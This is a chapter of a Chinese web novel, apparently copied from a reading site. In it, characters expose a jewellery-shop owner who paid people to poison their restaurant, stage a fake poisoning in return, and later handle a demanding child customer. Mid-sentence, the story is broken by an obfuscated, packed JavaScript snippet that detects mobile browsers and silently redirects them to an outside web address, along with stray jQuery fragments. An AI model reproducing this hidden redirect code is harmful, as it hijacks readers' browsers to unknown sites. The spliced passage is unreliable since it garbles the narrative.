76. 报复
作品:《夫人调酒,我吃醋》 如今没了系统,阎祈平无法再一问便知。
让她去问冥王吧,说实话她又不敢。
好在调查要害童家的人并不难,加之敢在阎祈平的地盘动土的,除了那几个世家大族也没别人。
几人加上闻讯赶来的童叁童陆一商量,很快便锁定了目标。
回击是一定要的,但他们并不预备直接将事情闹大。
京城西面有家招牌纯金雕梁画栋的首饰铺,借着细查后厨的名义,食肆今日歇业,而食肆中人则来到了这家金银楼前。
来做什么呢?
自然是找事。
自然也不用全体出动都来。
魏添秧几位留在食肆大张旗鼓收拾洗涮曝晒。
阎祈平两口子这边,则带着童家姊妹四个,外加两个“凶恶”的打手下属,大摇大摆进了门。
“乐平夫人安好,乐平侯安好,童老板。几位大驾光临,我们小店蓬荜生辉啊。”
“嗯,来挑几件送礼的首饰,我们自己看就行,你去忙吧。”
“哎呦,这怎么行,我们东家马上就到,若是见到我怠慢了几位,这个月月钱可就扣光了。”
赶来接待阎祈平的门店掌柜挤眉弄眼开着玩笑,躬身接引贵客去楼上厢房内。
好茶好点心上了桌,店内十数个小厮端着做工精湛的几大盘首饰鱼贯进门。
“不知这送礼是送给多少岁数,何等身份的贵人,劳几位贵客看看这批可有合心意的?”
“不急,等你们老板到了再说。都先回去该干嘛干嘛吧。”
“我来了我来了,几位姑奶奶几位爷久等,今儿个什么风把你们给吹来了?”
小厮们正得门店掌柜指挥转身离开厢房,门一打开却迎面见到跑来的老板。
老板高高壮壮,面相看着是个老实敦厚的,声音却尖细得很。
原来此人是燕越最后一批太监中的一位,与留在宫里的那批不同,他选择了出来做生意。
宫中结识的人脉,这些年积攒的钱财,让他在旱灾过后稳稳开好了这么一家金银楼。
“来挑件探望病人的礼物,老板可有什么推荐?”
老板微微思量,挥手让门店掌柜带走了其中几个小厮去换货。
“这枚长寿平安锁寓意很是不错,”他低头抬眼小心瞥见阎祈平几人面色平淡,赶紧换了下一盘,“这样镶嵌了温玉,还有五色宝石点缀,都有养身养神之功效。”
阎祈平还是淡漠。
“或者,软玉枕?织金护额?”
“不必如此麻烦,我要一支银簪,一柄银如意,再来一套银碗银筷银勺。”
“这是?”
“验毒保平安啊,有两位客人在我店里吃中毒了,我得给他们赔礼道歉。”
老板是宫里出来的,此时自然听懂了言外之意,再加上童家人,他还有什么不明白的。
他受命收买的两个人,露馅了。
“乐平夫人宅心仁厚。”
但他装作不知,挥走了所有小厮,命门店掌柜去取来阎祈平要的几样,之后恭敬站在一旁。
阎祈平挑挑眉毛,端茶与童叁对视一眼。
童叁心领神会,在门店掌柜端首饰回来的时刻,给弟弟打了信号。
厢房门刚打开,童陆便面色煞白倒地。
“六弟!六弟你怎么了?哎呦,我的肚子好痛。”
童样夸张上前,随后也捂着肚子蜷缩起来,一旁的童司前进一步装作头晕也踉跄着。
趁着老板没有反应过来,童叁一拍桌,“你给我们的茶点里下了毒?”
阎祈平一挥手,“景星,取他们的银饰来查验。”
五样银饰全数接触了食物,立刻变为骇人的黑色。
不等老板阻拦,阎祈平又上前两步靠近厢房门口大喊道:“你们派人来我食肆下毒闹事,我来理论你们竟敢给我们下毒?还有没有王法?”
“景星,快去找大夫!有禄,守好门,让他们一个也别想跑。”
“误会,误会,我们怎敢给贵人下毒,东家你快说句话。”
“对,我们的吃食绝不会有毒,定是。”
“定是什么?是你们家的金银掺假验不了毒?还是我们想不开自己吃毒药玩?”
吵了一阵儿,楼内已经有不少人知晓此事,人命关天,倒也无人抱怨有禄不让大家离开的举动。
老板慌得脸色不比地上的童陆红润多少,这里可是有皇亲在,往大了说可是要株连九族的。
“定是有刺客潜入,乐平夫人不如报官,小店清者自清不怕搜查,只怕放走了刺客酿成大祸。”
“好啊,我这就去报官,夫人千万小心。”
“怎敢劳烦乐平侯,我派人去跑腿就行。”
“不必,我自己去放心些。”
好不容易绞尽脑汁想出的请救兵的计划被打断,老板焦急地冒了一脑门汗。
什么也不知道的门店掌柜还替她东家庆幸,“太好了,等官府来自会还我们清白,东家可暂且安心了。”
“安什么心,哎呀,一切都完了。”
大夫来得很快,景星一路飞檐走壁,直接拉来了太医院的人。
太医院大夫诊断是点心腐坏生了毒,谁还会不信。
闻讯,店内的客人们,面上纷纷多了些嫌恶。
“这么大个店还拿放坏了的点心给客人吃,气量忒小。”
“丁点利润都要贪生,谁知道他们的金银有没有掺假。”
既然确定不是故意下毒,有禄不再守着门口,客人们也通通没了兴致,骂着就离了店。
这江湖中人惯用的缺德药散十分好用,连太医院的大夫都看不出真假,只等一行人回到童府吃了解药,又是生龙活虎。
“搅黄了那老太监的生意,下一步我们干什么?”
“不急,晚上看看林国公会不会去大牢看望金银楼老板。”
童陆跃跃欲试,一直期待到了晚上。
夜深人静,一伙人煮着茶,茶温刚好入口,有禄和景星归来。
“如何?”
“林国公因为招惹上了主子正恼怒,将金银楼老板数落一通就走了。”
“金银楼老板不想平白被推出来顶锅,正打算一不做二不休告发林国公。”
“可有提到是谁派人伤害我四弟。”
“是林国公
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121403|186305||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他亲口说了自己只想挫挫童家的锐气,早知道不让那些爱生事的去动手。”
“童叁想如何做?”
“金银楼那太监是别想再开,林国公的家产,也正好为大修水利空了不少的国库添砖加瓦。”
“好,我全力支持,今晚派人保护好金银楼老板的性命。”
“我呢我呢,有什么派给我的活?”
“你照顾好四弟,看他都瘦成什么样了。”
“又是,三姐,照顾完小妹照顾四弟,我都成嬷嬷了。”
“得了吧,你哪有嬷嬷细致,少给自己脸上贴金。”
姐弟拌嘴,童司苦了这么久的脸终于多了一抹笑。
商量完事情,大家各回各家,只等明日官府上报朝廷,林国公家收获一个“大扫除”。
“大扫除”如约而至,但研究上新品的阎祈平和童样却无心关注了。
第二日,食肆客人没有因昨日的变故少来一位。
吃过午饭,听张萧散说起帝后充盈国库的喜悦,阎祈平对这两个没有系统又手握大权的老乡感叹了两句。
这些年他们也过得不容易。
此时楼下传来穿透云霄的尖叫哭闹,要喝加了冰块的奶茶的诉求直击阎祈平耳膜。
如今秋天的凉意越发明显,食肆内的冰饮渐渐少了。
奶茶这一面向全年龄段的产品不再加冰,酒也渐渐换成热饮版。
不过,依旧有不少贪凉的客人,楼下正大哭大嚎的,便是一位贪凉的小客人。
阎祈平本不想理会,可奈何尖叫声太有穿透力,哭声又迟迟不见停。
喝了口温好的黄酒,下楼,她倒要看看这气力十足的孩子长什么样。
到了门口一瞧,一座小煤气罐。
“小煤气罐”的爷爷也叉腰站在一旁,正与栾秀云争执,家长没有丝毫劝慰的意思,怪不得孩子叫得如此有底气。
“大爷,天冷了喝冰的伤身。”
“胡说!我金孙身子好着呢。谁家小孩能养我家宝贝儿这么结实?孩子爱喝,我们又不是买不起,你们快给做!”
“我要喝有冰块的奶茶!我要吃有钱人才吃得起的冰块!”
阎祈平劝一句,一老一少顶两句,她叹了口气,揉了揉有些发紧的太阳穴。
“你金孙都能出栏了,我夫人好心提醒......”
阎祈平拉过张萧散,有禄拦住老人,在火被拱得更旺之前,阎祈平想到了一计。
“童样,来,我们试试这样......”
两人耳语过后,童样不住点头,“行了,你俩别吵吵了,我去煮,喝了有事你们自找的。”
那老人这才算完,带着孙男坐到椅子上向他的乖孙邀功。
一刻钟后,在小孩即将失去耐心的前一秒,童样端着一碗“冰块奶茶”上桌。
她特意从碗中捞起晶莹剔透的“冰块”给两人看,“诺,看清楚了,吃吧。”
“放下放下,笨手笨脚的女人,你别给我冰块碰坏了。”
“先给钱。”
童样白眼差点翻出来,摊手接过老人不情不愿递出来的钱,才放下碗站到阎祈平身边。

